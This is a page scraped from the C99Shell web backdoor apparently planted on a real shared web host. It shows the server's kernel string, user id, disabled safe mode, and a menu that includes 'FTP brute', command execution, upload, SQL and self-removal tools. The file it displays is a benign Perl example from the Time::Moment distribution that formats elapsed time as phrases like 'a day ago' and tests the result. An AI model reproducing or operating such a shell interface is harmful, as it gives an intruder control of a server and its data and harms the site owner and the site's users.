!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/share/doc/perl-Time-Moment/eg/   drwxr-xr-x
Free 6181.77 GB of 6262.97 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ago.pl (2.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
use strict;
use warnings;
use v5.10;

use Carp         qw[];
use Time::Moment qw[];

sub YEAR   () { 365 + 1/4 - 1/100 + 1/400 }
sub MONTH  () { YEAR / 12                 }
sub DAY    () { 1                         }
sub HOUR   () { DAY / 24                  }
sub MINUTE () { HOUR / 60                 }
sub SECOND () { MINUTE / 60               }

sub ago {
    @_ == 1 || @_ == 2 or Carp::croak(q/Usage: ago(since [, event])/);
    my ($since, $event) = @_;

    $event //= Time::Moment->now;

    ($since->is_before($event))
      or Carp::croak(q/Given moment is in the future/);

    my $d = $event->mjd - $since->mjd;

    if ($d < 0.75 * DAY) {
        if ($d < 0.75 * MINUTE) {
            return 'a few seconds ago';
        }
        elsif ($d < 1.5 * MINUTE) {
            return 'a minute ago';
        }
        elsif ($d < 0.75 * HOUR) {
            return sprintf '%d minutes ago', $d / MINUTE + 0.5;
        }
        elsif ($d < 1.5 * HOUR) {
            return 'an hour ago';
        }
        else {
            return sprintf '%d hours ago', $d / HOUR + 0.5;
        }
    }
    else {
        if ($d < 1.5 * DAY) {
            return 'a day ago';
        }
        elsif ($d < 0.75 * MONTH) {
            return sprintf '%d days ago', $d / DAY + 0.5;
        }
        elsif ($d < 1.5 * MONTH) {
            return 'a month ago';
        }
        elsif ($d < 0.75 * YEAR) {
            return sprintf '%d months ago', $d / MONTH + 0.5;
        }
        elsif ($d < 1.5 * YEAR) {
            return 'a year ago';
        }
        else {
            return sprintf '%d years ago', $d / YEAR + 0.5;
        }
    }
}

my @tests = (
    [  10 * SECOND, 'a few seconds ago' ],
    [  75 * SECOND, 'a minute ago'      ],
    [   1 * MINUTE, 'a minute ago'      ],
    [  30 * MINUTE, '30 minutes ago'    ],
    [   1 * HOUR,   'an hour ago'       ],
    [   2 * HOUR,   '2 hours ago'       ],
    [   1 * DAY,    'a day ago'         ],
    [  20 * DAY,    '20 days ago'       ],
    [   1 * MONTH,  'a month ago'       ],
    [   2 * MONTH,  '2 months ago'      ],
    [  13 * MONTH,  'a year ago'        ],
    [   1 * YEAR,   'a year ago'        ],
    [   2 * YEAR,   '2 years ago'       ],
    [  10 * YEAR,   '10 years ago'      ],
    [ 100 * YEAR,   '100 years ago'     ],
);

use Time::Moment 0.25;
use Test::More   0.88;

my $now = Time::Moment->now;
foreach my $test (@tests) {
    my ($duration, $expected) = @$test;
    my $tm = Time::Moment->from_mjd($now->mjd - $duration);
    is(ago($tm, $now), $expected, "$tm ($duration)");
}

done_testing();

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0119 ]--